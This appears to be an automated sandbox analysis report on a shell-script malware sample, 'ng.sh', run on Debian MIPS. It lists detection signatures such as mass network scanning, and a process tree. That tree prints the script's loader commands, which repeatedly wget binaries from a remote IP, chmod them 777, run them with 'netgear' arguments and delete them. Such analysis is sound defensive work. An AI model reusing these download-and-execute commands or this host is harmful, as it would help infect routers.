Analysis
- max time kernel
149s - max time network
152s - platform
debian-9_mips - resource
debian9-mipsbe-20240611-en - resource tags
- submitted
08/01/2025, 16:10
General
- Target ng.sh
- Size 558B
- Sample250108-tmceysvpet
- SHA256 97ad97cf7e32f4f744878694c69bebee659c9b30b49f4fdd6bf0abcc4fea1b09
Score
9/10
Malware Config
Signatures
- Contacts a large (36604) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
- Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
- File and Directory Permissions Modification 1 TTPs 6 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Executes dropped EXE 5 IoCs
- Enumerates running processes
Discovers information about currently running processes on the system
- Changes its process name 1 IoCs
- Reads runtime system information 31 IoCs
Reads data from /proc virtual filesystem.
- Writes file to tmp directory 6 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/ng.sh/tmp/ng.sh1⤵
- Writes file to tmp directory
-
/bin/rmrm -rf 122⤵
-
-
/usr/bin/wgetwget http://103.136.41.100/122⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 122⤵
- File and Directory Permissions Modification
-
-
/tmp/12./12 netgear.12⤵
- Executes dropped EXE
- Changes its process name
- Reads runtime system information
-
-
/bin/rmrm -rf 12⤵
-
-
/bin/rmrm -rf 22⤵
-
-
/usr/bin/wgetwget http://103.136.41.100/22⤵
-
-
/bin/chmodchmod 777 22⤵
- File and Directory Permissions Modification
-
-
/tmp/2./2 netgear.22⤵
-
-
/bin/rmrm -rf 22⤵
-
-
/bin/rmrm -rf 32⤵
-
-
/usr/bin/wgetwget http://103.136.41.100/32⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 32⤵
- File and Directory Permissions Modification
-
-
/tmp/3./3 netgear.32⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf 32⤵
-
-
/bin/rmrm -rf 42⤵
-
-
/usr/bin/wgetwget http://103.136.41.100/42⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 42⤵
- File and Directory Permissions Modification
-
-
/tmp/4./4 netgear.4 rm -rf 42⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf 52⤵
-
-
/usr/bin/wgetwget http://103.136.41.100/52⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 52⤵
- File and Directory Permissions Modification
-
-
/tmp/5./5 netgear.52⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf 52⤵
-
-
/bin/rmrm -rf 62⤵
-
-
/usr/bin/wgetwget http://103.136.41.100/62⤵
- Writes file to tmp directory
-
-
/bin/chmodchmod 777 62⤵
- File and Directory Permissions Modification
-
-
/tmp/6./6 netgear.62⤵
- Executes dropped EXE
-
-
/bin/rmrm -rf 62⤵
-
-
/bin/rmrm -rf ng2⤵
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
12
3
4
6
ng